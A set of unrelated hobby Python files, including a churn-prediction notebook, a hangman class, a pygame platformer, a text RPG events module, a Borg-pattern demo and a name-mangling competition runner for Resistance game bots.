chi,p,dof,ex=chi2_contingency(pd.crosstab(churn_train["Churn"],churn_train[i])) print(p) # In[385]: # delete variable carriying irrelevant information in Training data and test data churn_train_deleted=churn_train.drop([ 'phone number','total day charge','total eve charge', 'total night charge','total intl charge'],axis=1) churn_test_deleted=churn_test.drop([ 'phone number','total day charge','total eve charge', 'total night charge','total intl charge'],axis=1) # In[386]: churn_test_deleted.shape # In[387]: churn_train_deleted.head(2) # # Apply Machine Learning Algorithm # # In[ ]: # In[415]: churn_train_deleted.head(2) # In[416]: #### seperate the target variable in Training data xTrain=churn_train_deleted.values[:,0:15] xTrain # In[419]: xTrain.shape # In[420]: yTrain=churn_train_deleted.values[:,15] yTrain # In[421]: #### seperate the target variable in test data xTest=churn_test_deleted.values[:,0:15] xTest # In[422]: yTest=churn_test_deleted.values[:,15] yTest # In[394]: churn_train_deleted.head(2) # # Decision Tree # In[395]: ## Import libraries for decision tree #from sklearn import tree #from sklearn.metrics import accuracy_score # In[400]: #Decision Tree classifier #clf=tree.DecisionTreeClassifier(criterion="entropy").fit(xTrain,yTrain) # In[406]: # predict new test cases #y_predict=clf.predict(xTest) # In[405]: #xTest.head() # In[135]: #churn_train_deleted.head(5) # # Error Metrix of Decision Tree # In[137]: #Build confussion metrix #from sklearn.metrics import confusion_matrix # In[138]: #CM_DT=pd.crosstab(yTest,y_predict) #CM_DT ### by removing columns Total (day/eve/night/ intl) charge with outliers amd without scaling # False True. #False. 1376 67 #True. 69 155 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #col_0 False. True. #row_0 #False. 1361 82 #True. 107 117 # In[139]: # Let us save TP.TN,FP,FN #TN=CM_DT.iloc[0,0] #FN=CM_DT.iloc[1,0] #TP=CM_DT.iloc[1,1] #FP=CM_DT.iloc[0,1] # In[140]: # Check accuracy of model #accuracy_score(yTest,y_predict)*100 ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling #91.84 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling 88.66 # In[141]: # False Negative Rate (FN*100)/(FN+TP) ## by removing columns charge (day,eve,night and intl) with outliers amd without scaling #30.80 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #47.76 # In[142]: # False positive rate #(FP*100)/(FN+TN) ## by removing columns charge (day,eve,night and intl) with outliers amd without scaling #4.63 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #5.58 # In[143]: #Recall #(TP*100)/(TP+FN) # # 2) Random Forest # In[423]: from sklearn.ensemble import RandomForestClassifier # In[424]: RF_model=RandomForestClassifier(n_estimators=100).fit(xTrain,yTrain) # In[425]: # prediction RF_predictions=RF_model.predict(xTest) RF_predictions # # Error Matrix of Random Forest # In[426]: # Build confusion metrix from sklearn.metrics import confusion_matrix CM_RF=confusion_matrix(yTest,RF_predictions) CM_RF # In[119]: CM_RF=pd.crosstab(yTest,RF_predictions) CM_RF ## by removing columns charge (day,eve,night and intl) with outliers amd without scaling #col_0 False. True. #row_0 #False. 1437 6 #True. 74 150 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #col_0 False. True. #row_0 #False. 1438 5 #True. 113 111 # In[120]: # let us save TP,TN,FN,FP TN=CM_RF.iloc[0,0] FN=CM_RF.iloc[1,0] TP=CM_RF.iloc[1,1] FP=CM_RF.iloc[0,1] # In[130]: FN # In[121]: # check accuracy of model # acauray_score(Y_test,Y_test)*100 ((TP+TN)*100)/(TP+TN+FP+FN) ## by removing columns charge (day,eve,night and intl) with outliers amd without scaling #95.20 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #92.92 # In[122]: # False Negative rate (FN*100)/(FN+TP) ## by removing columns charge (day,eve,night and intl) with outliers amd without scaling #33.03 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling 50.44 # In[123]: # False positive rate (FP*100)/(FN+TN) ## by removing columns charge (day,eve,night and intl) with outliers amd without scaling # 0.39 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #0.32 # # 3) Logistic Regression # In[428]: # create Logistic data save target variables first in Training Data churn_train_logit=pd.DataFrame(churn_train_deleted['Churn']) churn_train_logit.head(2) # In[429]: # create Logistic data save target variables first in Test Data churn_test_logit=pd.DataFrame(churn_test_deleted['Churn']) churn_test_logit.head(2) # In[430]: churn_train.describe() # In[431]: # Continous Variable cnames=["account length","area code", "number vmail messages","total day minutes","total day calls", "total eve minutes","total eve calls","total night minutes", "total night calls","total intl minutes","total intl calls", "number customer service calls"] # In[432]: # add continuous variable churn_train_logit=churn_train_logit.join(churn_train_deleted[cnames]) churn_test_logit=churn_test_logit.join(churn_train_deleted[cnames]) # In[433]: churn_test_logit.head(2) # In[434]: churn_train.head(1) # In[435]: # create dummies for categorical variable in Training data cat_names=["state","international plan","voice mail plan"] for i in cat_names: temp=pd.get_dummies(churn_train[i],prefix=i) churn_train_logit=churn_train_logit.join(temp) # In[436]: # create dummies for categorical variable in Test data cat_names=["state","international plan","voice mail plan"] for i in cat_names: temp=pd.get_dummies(churn_test[i],prefix=i) churn_test_logit=churn_test_logit.join(temp) # In[437]: churn_train_logit.head(2) # In[438]: churn_test_logit.head(2) # In[439]: #select column index for independent variables train_cols=churn_train_logit.columns[1:68] train_cols # In[440]: churn_train_logit.head(3) # In[441]: churn_train_logit[train_cols].head(2) # In[442]: # Built logistic regression import statsmodels.api as sm # In[443]: logit=sm.Logit(churn_train_logit['Churn'], churn_train_logit[train_cols]).fit() # In[444]: #logit.summary() # In[445]: # predict test data churn_test_logit['Actual_prob'] =logit.predict(churn_test_logit[train_cols]) # In[109]: churn_test_logit.head(2) # In[110]: # convert praobability into target class churn_test_logit['Actual_val']=1 churn_test_logit.loc[churn_test_logit.Actual_prob< 0.5 ,"Actual_val"]=0 # # Error Matrix of Logistic Regression # In[112]: # Built confusion matrix CM_LR=pd.crosstab(churn_test_logit["Churn"],churn_test_logit["Actual_val"]) CM_LR ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling #Actual_val 0 1 #Churn #0 1345 98 #1 190 34 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #Actual_val 0 1 #Churn #0 1103 340 #1 166 58 # In[113]: #Let us save TP,TN,FP,FN TN=CM_LR.iloc[0,0] FM=CM_LR.iloc[1,0] TP=CM_LR.iloc[1,1] FP=CM_LR.iloc[0,1] # In[114]: # check accuracy of model #Accuracy_score(Y_test,Ypred)*100 ((TP+TN)*100)/(TP+TN+FP+FN) (FN*100)/(FN+TP) ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling #68.51 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling 72.11 # # 4) KNN # # In[270]: # Knn Implementation from sklearn.neighbors import KNeighborsClassifier knn_model=KNeighborsClassifier(n_neighbors=5).fit(xTrain,yTrain) # In[271]: # Predict test cases knn_predictions=knn_model.predict(xTest) # # Error Matrix of KNN # In[272]: # Build cinfusion matrix CM_knn=pd.crosstab(yTest,knn_predictions) CM_knn ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling #col_0 False. True. #row_0 #False. 1290 153 #True. 142 82 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #col_0 False. True. #row_0 #False. 1334 109 #True. 150 74 # In[265]: # Let us save TP,TN,FP,FN TN=CM_knn.iloc[0,0] FN=CM_knn.iloc[1,0] TP=CM_knn.iloc[1,1] FP=CM_knn.iloc[0,1] # In[266]: # check accuracy of model accuracy_score(yTest,knn_predictions)*100 ((TP+TN)*100)/(TP+TN+FN+FP) ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling # 85.80 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #84.46 # In[88]: # false negative rate (FN*100)/(FN+TP) ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling # 47.43 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #66.96 # # 5) Naive Bayes # In[73]: #NaiveBays from sklearn.naive_bayes import GaussianNB # In[74]: # NAive bayes implementation NB_model=GaussianNB().fit(xTrain,yTrain) # In[75]: # Predict test cases NB_predictions=NB_model.predict(xTest) # # Error Matrix of Naive Bayes # In[76]: # Build confusion metrix CM_NB=pd.crosstab(yTest,NB_predictions) CM_NB ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling #col_0 False. True. #row_0 #False. 1342 101 #True. 135 89 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #col_0 False. True. #row_0 #False. 1366 77 #True. 147 77 # In[79]: # Let us save TP,TN,FP,FN TN=CM_NB.iloc[0,0] FN=CM_NB.iloc[1,0] TP=CM_NB.iloc[1,1] FP=CM_NB.iloc[0,1] # In[80]: # check accuracy of model # accuracy_score (Y_test,Y_pred)*100 ((TP+TN)*100)/(TP+TN+FP+FN) ### by removing columns charge (day,eve,night and intl) with outliers amd without scaling # 89.10 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #86.56 # In[81]: # false negative rate (FN*100)/(FN+TP) #### by removing columns charge (day,eve,night and intl) with outliers amd without scaling # FNR=45.39 ### removing columns Total (day/eve/night/intl) charge removing outliers and without scaling #65.62 # In[ ]:
true
17d9590bddb5ba2491722c3fc4beb3c1543a6ab1
Python
Pebaz/coding-problems
/py/6-10-19.py
UTF-8
716
4.28125
4
[]
no_license
""" This problem was asked by Amazon. Given an integer k and a string s, find the length of the longest substring that contains at most k distinct characters. For example, given s = "abcba" and k = 2, the longest substring with k distinct characters is "bcb". """ def subber(s, k): if k == 0: return '' elif k == 1: return s[0] p1 = 0 p2 = 1 prv = '' while p2 <= len(s): string = s[p1:p2] l = len(set(string)) if l <= k: if len(string) > len(prv): prv = string p2 += 1 if l > k: p1 += 1 return prv print(subber('abcba', 2)) print(subber('abcccccccccbbbbbbaaaaaaaaaaaaaaaaaaaaaa', 2))
true
6527e71cbf8e07bcc99bbdcc969c3982c716bc5f
Python
JoshChang8/EngHackHangmanWebsite
/idle_class.py
UTF-8
988
3.78125
4
[]
no_license
#Class for Hangman game class hangman: def __init__(self,word,location_list): self.word = word self.location_list = location_list def word_to_blanks(self,word): # converts the word to blanks to_guess = "" for letter in self.word: to_guess = to_guess + "-" return to_guess def letter_location(self,word,guess,location_list): #identifies the location of guessed letters in the word self.location_list = [] word_list = list(self.word) location = 0 for letter in word_list: if letter == guess: self.location_list.append(location) location += 1 return self.location_list def fill_in_blanks(self,guess,location_list,to_guess): to_guess_list = list(to_guess) for i in self.location_list: to_guess_list[i] = guess to_guess = ''.join(to_guess_list) return to_guess
true
03f0acc3909f70c68e09e833c85da0ec5881b735
Python
itsabdiev/Final-project
/new.py
UTF-8
9,538
2.8125
3
[]
no_license
import pygame import random from pygame import mixer import math pygame.init() background = pygame.image.load('project back.jpg') screen = pygame.display.set_mode((1000, 600)) mixer.music.load('RUDE - Eternal Youth(MP3_160K).mp3') mixer.music.play(-1) #infinitive music pygame.mixer.music.set_volume(0.2) #PLayer playerImg = pygame.image.load('jumper-1.png') playerX = 500 playerY = 150 width = 40 height = 60 vel = 7.5 #Enemy enemyImg = pygame.image.load('ghost.png') enemyX = 10 enemyY = 560 enemyX_change = 4 #Brilliant diamondImg = [] diamondX = [] diamondY = [] diamondX_change = [] diamondY_change = [] num_of_diamonds = 1 for k in range(num_of_diamonds): #добавляем в лист diamondImg.append(pygame.image.load('diamond.png')) diamondX.append(random.randint(10, 960)) diamondY.append(random.randint(20, 580)) diamondX_change.append(0) diamondY_change.append(0) #Platforms p1 = 450 p2 = 300 p3 = 600 p4 = 200 p5 = 700 p6 = 100 p7 = 800 p8 = 0 p9 = 900 p10 = 450 p11 = 300 p12 = 600 platform1 = p1,500,100,7 platform2 = p2,400,100,7 platform3 = p3,400,100,7 platform4 = p4,300,100,7 platform5 = p5,300,100,7 platform6 = p6,200,100,7 platform7 = p7,200,100,7 platform8 = p8,100,100,7 platform9 = p9,100,100,7 platform10 = p10,200,100,7 platform11 = p11,200,100,7 platform12 = p12,200,100,7 s = 'can' platforms = [platform1,platform2,platform3,platform4,platform5,platform6,platform7,platform8,platform9,platform10,platform11,platform12]#list of platforms w = 'process' isJump = False jumpCount = 10 score_value = 0 font = pygame.font.Font('kj.ttf',20) # style of text textX = 10 #МЕсто скора textY = 10 over_font = pygame.font.Font('Chopsic.otf',64) textX = 10 #МЕсто скора textY = 10 timeX = 550 timeY = 10 pygame.display.set_caption(' | Ninja in Pyjama | ') # Название игры icon = pygame.image.load('icon.png') #Загружаем иконку pygame.display.set_icon(icon) def player(x, y): # function that is painting player on screen screen.blit(playerImg, (x, y)) def isCollision(diamondX,diamondY,shurikenX,shurikenY): distance = math.sqrt((math.pow(diamondX-shurikenX,2)) + (math.pow(diamondY-shurikenY,2))) # проверяем РАСТОЯНИЕ МЕЖДУ АЛМАЗОМ И НИНДЗЯ d = undersquare(((x2-x1)^^2) - ((y2-y1)^^2)) разница между поинтами if distance < 50: return True else: return False def isCollision2(enemyX,enemyY,playerX,playerY): distance = math.sqrt((math.pow(enemyX-playerX,2)) + (math.pow(enemyY-playerY,2))) # проверяем РАСТОЯНИЕ МЕЖДУ АЛМАЗОМ И НИНДЗЯ d = undersquare(((x2-x1)^^2) - ((y2-y1)^^2)) разница между поинтами if distance < 35: return True else: return False def diamond(x, y, k): # function that is painting diamond on screen screen.blit(diamondImg[k], (x, y)) def r(): for i in platforms: pygame.draw.rect(screen, (99, 22, 59), pygame.Rect(i)) def game_over_text(): over_text = over_font.render("GAME OVER" , True, (199, 0, 57)) screen.blit(over_text, (250,255)) # SEREDINA EKRANA def enemy(x, y): # function that is painting enemy on screen screen.blit(enemyImg, (x, y)) def show_score(x,y): score = font.render("SCORE :" +' '+ str(score_value),True, (99, 22, 59)) screen.blit(score, (x, y)) def show_timer(x,y): scorec = fontc.render("" +''+ str(count),True, (199, 0, 57)) screen.blit(scorec, (x, y)) run = True while run: pygame.time.delay(25) screen.blit(background, (0, 0)) for event in pygame.event.get(): if event.type == pygame.QUIT: run = False keys = pygame.key.get_pressed() if keys[pygame.K_LEFT] and playerX > vel: playerX -= vel playerImg = pygame.image.load('jumper-left.png') if keys[ord('a')] and playerX > vel: playerX -= vel playerImg = pygame.image.load('jumper-left.png') if keys[pygame.K_RIGHT] and playerX < 1010 - vel - width: playerX += vel playerImg = pygame.image.load('jumper-right.png') if keys[ord('d')] and playerX < 1010 - vel - width: playerX += vel playerImg = pygame.image.load('jumper-right.png') if not (isJump): if keys[pygame.K_SPACE] and s == 'can': jumpsound = mixer.Sound('jump.wav') jumpsound.play() isJump = True playerImg = pygame.image.load('jumper-up.png') if keys[pygame.K_UP] and s == 'can': jumpsound = mixer.Sound('jump.wav') jumpsound.play() isJump = True playerImg = pygame.image.load('jumper-up.png') if keys[pygame.K_0]: pygame.mixer.music.set_volume(0) if keys[pygame.K_9]: pygame.mixer.music.set_volume(0.3) else: if jumpCount >= -10: playerY -= (jumpCount * abs(jumpCount)) * 0.5 jumpCount -= 1 else: jumpCount = 10 isJump = False if keys[pygame.K_LEFT] and keys[pygame.K_SPACE]: playerImg = pygame.image.load('jumper-jleft.png') if keys[pygame.K_RIGHT] and keys[pygame.K_SPACE]: playerImg = pygame.image.load('jumper-jright.png') if event.type == pygame.KEYUP: # not pressed buttons if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT: # Написали код чтобы ниндзя не двигался когда кнопка нет нажата playerImg = pygame.image.load('jumper-1.png') if event.key == ord('a') or event.key == ord('d'): playerImg = pygame.image.load('jumper-1.png') if event.key == pygame.K_SPACE: playerImg = pygame.image.load('jumper-1.png') if event.key == pygame.K_UP: playerImg = pygame.image.load('jumper-1.png') if playerX >= 445 and playerX <= 550 and playerY >= 410 and playerY <= 500 : #Написал код чтобы ниндзя запрыгивал на 1 - блок playerY = 450 elif playerX >= 295 and playerX <= 400 and playerY >= 310 and playerY <= 400: playerY = 350 elif playerX >= 595 and playerX <= 700 and playerY >= 310 and playerY <= 400: #600,400,100,7 playerY = 350 elif playerX >= 295 and playerX <= 400 and playerY >= 110 and playerY <= 200: # 300, 200, 100, 7 playerY = 150 elif playerX >= 595 and playerX <= 700 and playerY >= 110 and playerY <= 200: # 300, 200, 100, 7 playerY = 150 elif playerX >= 445 and playerX <= 550 and playerY >= 110 and playerY <= 200: #450,200,100,7 playerY = 150 elif playerX >= 195 and playerX <= 300 and playerY >= 210 and playerY <= 300: #200,300,100,7 playerY = 250 elif playerX >= 695 and playerX <= 800 and playerY >= 210 and playerY <= 300: #700,300,100,7 playerY = 250 elif playerX >= -5 and playerX <= 100 and playerY >= 10 and playerY <= 100: #0,100,100,7 playerY = 50 elif playerX >= 895 and playerX <= 1000 and playerY >= 10 and playerY <= 100: #900,100,100,7 playerY = 50 elif playerX >= 95 and playerX <= 200 and playerY >= 110 and playerY <= 200: # 100,200,100,10 playerY = 150 elif playerX >= 795 and playerX <= 900 and playerY >= 110 and playerY <= 200: # 800,200,100,10 playerY = 150 else: playerY += vel #Нужно добавить сюда что- то чтобы он запрыгивал на другие блоки if playerY >= 550: #чТОБЫ НЕ ПРОВАЛИЛСЯ playerY = 550 for k in range(num_of_diamonds): diamondX[k] += diamondX_change[k] if diamondX[k] <= 0: diamondX_change[k] = 0 diamondY[k] += diamondY_change[k] elif diamondX[k] >= 736: diamondX_change[k] = 0 diamondY[k] += diamondY_change[k] # Столкновение пули и противника collision = isCollision(playerX,playerY,diamondX[k], diamondY[k]) if collision == True: explodesound = mixer.Sound('gem.wav') explodesound.play() score_value += 1 diamondX[k] = random.randint(0, 736) # he receives diamond and the diamond changes its position diamondY[k] = random.randint(100, 570 ) if diamondX[k] == 480 and diamondY[i] == 495: diamondX[k] = random.randint(0, 900) # he receives diamond and the diamond changes its position diamondY[k] = random.randint(40, 570) collision2 = isCollision2(enemyX,enemyY,playerX,playerY) if collision2 == True: screen.fill((218, 247, 166)) game_over_text() playerX = 4000 enemyX = 4000 enemyX_change = 0 w = 'over' s = 'cant' pygame.mixer.music.set_volume(0) break enemyX += enemyX_change if enemyX <= 0: enemyX_change = 4 enemyImg = pygame.image.load('ghost.png') if enemyX >= 960: enemyX_change = -4 enemyImg = pygame.image.load('ghost2.png') enemy(enemyX,enemyY) diamond(diamondX[k], diamondY[k], k) player(playerX, playerY) if w == 'process': r() # platforms show_score(textX, textY) pygame.display.update()
true
4718b814e5136f4c9ebe2be9f238646d6957d6d2
Python
Neb2/Text-RPG
/data/events.py
UTF-8
3,222
3.1875
3
[ "MIT" ]
permissive
import sys from data.battle import enemy_gen sys.setrecursionlimit(10**6) # test def events(character): if character.location == "d3": if character.d3_event_4: print("In the distance you see a man sitting down in the grass staring at you, maybe you should\n" "go talk to him.") input(">...") event_check(character) if character.location == "d4": if character.d4_event_1: print("As you enter the forest, you feel as if you are being watched by something.") input(">...") enemy_gen(character) if character.location == "d5": if character.d5_event_1: print("As you walk back into the forest again, you see the strange man hiding, rather poorly, behind a bush.\n" "If you want your gold back you should go and talk to him.") input(">...") event_check(character) if character.location == "f6": if character.f6_event_2: print("As you walk towards the river you hear something run up from behind you.") input(">...") enemy_gen(character) if character.location == "g6": if character.g6_event_2: print("You start to swim across the river, but suddenly feel your leg being pulled from beneath you.") input(">...") enemy_gen(character) if character.location == "k6": if character.k6_event_2: print("You arrive onto dry land again, but it's not long before you are interrupted again.") input(">...") enemy_gen(character) if character.location == "o7": if character.o7_event_2: print("You find a torch on the wall and decide to light it so you can see what's in the dungeon, but now what's\n" "in the dungeon can see you as well!") input(">...") enemy_gen(character) if character.location == "q10": if character.q10_event_1: print("Close to the end now, you prepare yourself for your battle against the Baron of Hell, but you are\n" "ambushed when doing so.") input(">...") enemy_gen(character) def event_check(character): if character.location == "d3": if character.d3_event_4: character.d3_event_4 = False if character.location == "d4": if character.d4_event_1: character.d4_event_1 = False if character.location == "d5": if character.d5_event_1: character.d5_event_1 = False if character.location == "f6": if character.f6_event_2: character.f6_event_2 = False if character.location == "g6": if character.g6_event_2: character.g6_event_2 = False if character.location == "k6": if character.k6_event_2: character.k6_event_2 = False if character.location == "o7": if character.o7_event_2: character.o7_event_2 = False if character.location == "q10": if character.q10_event_1: character.q10_event_1 = False
true
9d19d7325e5fc63b50dc62c5cb0b9118102cf089
Python
kamni/borg
/highlander.py
UTF-8
1,351
3.78125
4
[]
no_license
""" J Leadbetter <j@jleadbetter.com> MIT License An exploration of Python Borg pattern. Except these Borg are Highlanders. """ class ThereCanBeOnlyOne: """Implementation of the traditional Python Borg pattern""" __shared__ = {} def __init__(self, name, beheaded=None): self.__dict__ = ThereCanBeOnlyOne.__shared__ self.name = name self.beheaded = beheaded def has_beheaded(self): return '{} has beheaded {}.'.format(self.name, self.beheaded) def __str__(self): return '{} is an immortal.'.format(self.name) class ImmortalsCantHaveChildren(ThereCanBeOnlyOne): """ Traditional Borg classes inherit parents' dictionaries. See `borg_children.py` for an implementation where they can. """ pass if __name__ == '__main__': highlander1 = ThereCanBeOnlyOne('Victor Kurgan', 'Osta Vasilek') print(highlander1) print(highlander1.has_beheaded()) print("But if we create another highlander...") highlander2 = ThereCanBeOnlyOne('Connor MacLeod', 'The Kurgan') print("We see that there can only be one.") print(highlander1) print(highlander1.has_beheaded()) highlander3 = ImmortalsCantHaveChildren( 'Russell Edwin Nash', 'General Katana' ) print("Immortals can't truly have children...(and probably shouldn't)") print(highlander1) print(highlander1.has_beheaded())
true
bda1ae0e8dd5196f7ea0e7232f64a0da6d5fd7d8
Python
dtConfect/resistance
/burstcompetition.py
UTF-8
13,758
2.875
3
[]
no_license
#!/usr/bin/env python # -*- coding: utf-8 -*- import itertools import importlib import random import math import sys # Import the whole competition module so we can access the original, mutable global statistics import competition from competition import * from player import * import pseudonymgen class NameMangler: """Class to maintain a collection of real names, mangled names, and the relations between them.""" __nextNameUUID = 0 def __init__(self): self._namesR2M = {} # Names - real to mangled self._namesM2R = {} # Names - mangled to real def setNames(self, newNames): """Take a set of real names, discard our old dictionaries and create new ones for the given set of real names, and freshly generated, unique, and historically unique mangled names""" self._namesR2M.clear() self._namesM2R.clear() #print("") for r in newNames: #textName = 'bot' textName = pseudonymgen.getName() m = "%s-%i" % (textName, self.__nextNameUUID) #print >>sys.stderr, '%s will be known as %s' %(r, m) self.__nextNameUUID += 1 self._namesR2M.setdefault(r, m) self._namesM2R = {m:r for r, m in self._namesR2M.items()} def getRealName(self, mangledName): return self._namesM2R[mangledName] def getMangledName(self, realName): return self._namesR2M[realName] class BurstCompetitionRound(CompetitionRound): def __init__(self, bots, roles, mangler): # Store a reference to the mangler # May change this to just a dictionary of manglings later... but that seems too open self._mangler = mangler # Call the CompetitionRound __init__ # Hopefully it'll still call through to our createBots override (like C++ wouldn't) # - Confirmed - this works nicely :D CompetitionRound.__init__(self, bots, roles) # Allow access to the name mangler through the state so that our suspicion accuracy logging # can unmangle names easily, but damned shall thy house be if thou exploits this in a bot! self.state._mangler = self._mangler def createBots(self, bots, roles): """Override CompetitionRound's createBots function to use the given name mangler""" # Create Bot instances based on the constructor passed in. self.bots = [p[1](self.state, i, r, p[0]) for p, r, i in zip(bots, roles, range(1, len(bots)+1))] # Maintain a copy of players that includes minimal data, for passing to other bots. #self.state.players = [Player(p.name, p.index) for p in self.bots] self.state.players = [Player(self._mangler.getMangledName(p.name), p.index) for p in self.bots] #print("Confirm called burst/mangler version of createBots!!!") class BurstCompetitionRunner(CompetitionRunner): def __init__(self, competitors, rounds, burstSize = 10, quiet = False): # Store burst size self.burstSize = burstSize # Create a name mangler to use self._nameMangler = NameMangler() # Call super initialization and pass required variables through CompetitionRunner.__init__(self, competitors, rounds, quiet) # Store unique identifiers for each competitor self.competitorIds = [getUniqueCompetitorName(i, c) for i, c in zip(range(0, len(self.competitors)), self.competitors)] # Print extra debug information? self.loud = True def listGameSelections(self): """Evaluate all bots in all possible permutations! If there are more games requested, randomly fill up from a next round of permutations. Overridden to group permutations of the same bots (in different roles and seats) so that names can be mangled at a set interval.""" if not self.competitors: raise StopIteration if not self.burstSize == 0: bursts = [] # Get each unique permutation of roles, where True is Spy and False is Resistance roleP = set(itertools.permutations([True, True, False, False, False])) # Get each order-independent combination of competitors for players in itertools.combinations(zip(self.competitorIds, self.competitors), 5): thesePlayersP = [] # Get each seating permutation of these competitors for seating in itertools.permutations(players, 5): for roles in roleP: thesePlayersP.append((players, roles)) # We should be able to make even bursts if not ((len(thesePlayersP) % self.burstSize) == 0): if not self.quiet: print("") print >>sys.stderr, 'Error: Number of permutations per player combination is not divisible by the burstSize: %i / %i = %f' \ % (len(thesePlayersP), self.burstSize, (len(thesePlayersP)/float(self.burstSize))) raise StopIteration # thesePlayersP should now represent every possible game that could be played # with the current combination of players. # Now we shuffle them to make sure there's no pattern in each 'burst', and # divide them up into groups of the burstSize currentBurst = [] i = 0 random.shuffle(thesePlayersP) for p in thesePlayersP: currentBurst.append(p) i += 1 if i == self.burstSize: bursts.append(currentBurst) currentBurst = [] i = 0 # We shouldn't have any bots left in currentBurst when this terminates if len(currentBurst) > 0: if not self.quiet: print("") print >>sys.stderr, 'Error: Some permutations were not added to the collection of bursts. This shouldn\'t fire unless (len(thesePlayersP) %% self.burstSize) != 0' raise StopIteration # bursts should now contain random groupings of permutations, each for a particular # combination of players, covering every possible game. # We shuffle them up again, then spit out individual games from each burst in turn. permutations = [] while len(permutations) < self.rounds: random.shuffle(bursts) for b in bursts: random.shuffle(b) permutations.extend(b) if not self.quiet: compr = len(bursts)*self.burstSize burstsPlayed = self.rounds/float(self.burstSize) print("") print >>sys.stderr, 'Requested games: %i' % (self.rounds) print >>sys.stderr, 'Comprehensive size: %i' % (compr) if not (self.rounds == compr): print >>sys.stderr, 'Comprehensive sets played: %f' % (self.rounds/float(compr)) if not ((self.rounds % compr) == 0): print("") print >>sys.stderr, 'Requested games is not divisible by comprehensive size.' print >>sys.stderr, 'Some bots will not compete in an equal number of games.' print("") print >>sys.stderr, 'Requested burst size: %i' % (self.burstSize) print >>sys.stderr, 'Comprehensive burst size: %i (%i! * 10)' % (1200, 5) # Factorial(5)*10 or 5!*10 - It'll always be this print >>sys.stderr, 'Comprehensive count for requested size: %i' % (len(bursts)) print >>sys.stderr, 'Bursts played count: %i' % (burstsPlayed) if not (len(bursts) == burstsPlayed): print >>sys.stderr, 'Comprehensive burst sets played: %f' % (burstsPlayed/len(bursts)) print("") for players, roles in permutations[:self.rounds]: yield (players, roles) else: # If a burstSize of 0 (zero) was supplied, assume we want one big batch with the same name per bot. # We can fall back on the old enumeration for this, but we need another zero check in run below. # This is mostly just for debug purposes - so I can compare results to competition.py print("") print >>sys.stderr, 'A burstSize of 0 (zero) was supplied. Assuming consistent names and one burst desired.' p = [] r = set(itertools.permutations([True, True, False, False, False])) for players in itertools.permutations(zip(self.competitorIds, self.competitors), 5): for roles in r: p.append((players, roles)) permutations = [] while len(permutations) < self.rounds: random.shuffle(p) permutations.extend(p) if not self.quiet: compr = len(p) print("") print >>sys.stderr, 'Requested games: %i' % (self.rounds) print >>sys.stderr, 'Comprehensive size: %i' % (compr) if not (self.rounds == compr): print >>sys.stderr, 'Comprehensive sets played: %f' % (self.rounds/float(compr)) if not ((self.rounds % compr) == 0): print("") print >>sys.stderr, 'Requested games is not divisible by comprehensive size.' print >>sys.stderr, 'Some bots will not compete in an equal number of games.' print("") for players, roles in permutations[:self.rounds]: yield (players, roles) def run(self): """Override CompetitionRunner's run function to allow us to manage name mangling and such""" print("") print >>sys.stderr, "Running competition with %i bots:" % (len(self.competitors)) for id in self.competitorIds: print >>sys.stderr, '%s' % (id) # Initialise random name generation pseudonymgen.loadNames('pseudonyms\\tolkienParts.txt') # If burstSize is 0 (zero), generate names just the once, for ALL bots if self.burstSize == 0: self._nameMangler.setNames(self.competitorIds) # This printing can probably be made more informative for our purposes for i, (players, roles) in enumerate(self.listGameSelections()): if not self.quiet: if (i+1) % 500 == 0: print >>sys.stderr, '(%02i%%)' % (100*(i+1)/self.rounds) elif (i+1) % 100 == 0: print >>sys.stderr, 'o', elif (i+1) % 25 == 0: print >>sys.stderr, '.', if self.burstSize != 0 and \ (i % self.burstSize) == 0: # i.e. On rounds 0, burstSize, burstSize*2, burstSize*3, ... # Every time we start a new burst, we should refresh the names used. # If our version of listGameSelections is working correctly, each # contiguous [burstSize] games should feature the same five bots... self._nameMangler.setNames(self.competitorIds) self.play(BurstCompetitionRound, players, roles) print("") def onCompetitionEnd(self): if not self.quiet and self.loud: print >>sys.stderr, 'Debug upchuck for each competitor:' for k, id in zip(self.competitors, self.competitorIds): print("") print >>sys.stderr, '%s:' % (id) k.onCompetitionEnd() def play(self, GameType, players, roles = None, channel = None): """Override CompetitionRunner's play function to allow us to initialise a different GameType and un-mangle names for our statistics""" g = GameType(players, roles, self._nameMangler) g.channel = channel self.games.append(g) g.run() self.games.remove(g) # Gather statistics for this game, for each bot involved for b in g.bots: competition.statistics.setdefault(b.name, CompetitionStatistics()) s = competition.statistics.get(b.name) if b.spy: s.spyWins.sample(int(not g.won)) else: s.resWins.sample(int(g.won)) return g def getUniqueCompetitorName(index, competitor): return '%s-%d' % (getattr(competitor, '__name__'), index) if __name__ == '__main__': botArgsStart = 3 try: rounds = int(sys.argv[2]) except ValueError: botArgsStart = 2 if (len(sys.argv)-1) < botArgsStart: # Not enough arguments to have included any bots... print('USAGE:') print('burstcompetition.py 10000 20 file.BotName [...]') print('or') print('burstcompetition.py 10000 file.BotName [...]') sys.exit(-1) competitors = getCompetitors(sys.argv[botArgsStart:]) if botArgsStart > 2: runner = BurstCompetitionRunner(competitors, int(sys.argv[1]), int(sys.argv[2])) else: runner = BurstCompetitionRunner(competitors, int(sys.argv[1])) try: runner.main() except (KeyboardInterrupt, SystemExit): pass finally: runner.show() runner.onCompetitionEnd()
true
e2521e1dc4fece36553f0463721049f6b51094c6
Python
mackoo13/pmp
